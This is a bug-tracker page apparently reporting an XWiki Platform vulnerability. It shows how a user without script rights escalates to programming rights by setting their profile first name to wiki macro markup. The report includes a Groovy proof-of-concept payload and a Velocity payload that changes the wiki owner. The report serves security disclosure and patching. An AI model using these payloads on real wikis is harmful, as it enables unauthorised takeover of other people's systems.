Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-19793

Privilege escalation to programming rights via user's first name

    XMLWordPrintable

Details

    • High
    • Unknown

    Description

      Steps to reproduce

      1. Log in as a user without script rights.
      2. Set your first name to
      {{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}}
      

      Expected result:

      {{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}}
      

      is displayed as first name.

      Actual result:

      The username in the profile is Hello from groovy!

      This demonstrates a privilege escalation attack to programming rights. I don't know yet why or how this works as this was primarily a surprise result while trying to reproduce another vulnerability.

      I've also verified that you can actually do dangerous stuff, for example

      {{async async="true" cached="false" context="doc.reference"}}{{velocity}}#set($descriptor = $services.wiki.currentWikiDescriptor)) #set($void = $descriptor.setOwnerId("XWiki.NewOwner")) #set($void = $services.wiki.saveDescriptor($descriptor)){{/velocity}}{{/async}}
      

      sets the wiki's owner to the given user id.

      The affects version is only the version I reproduced the issue on, this is quite likely much older.

      Attachments

        Issue Links

          Activity

            People

              tmortagne Thomas Mortagne
              MichaelHamann Michael Hamann
              Votes:
              0 Vote for this issue
              Watchers:
              2 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: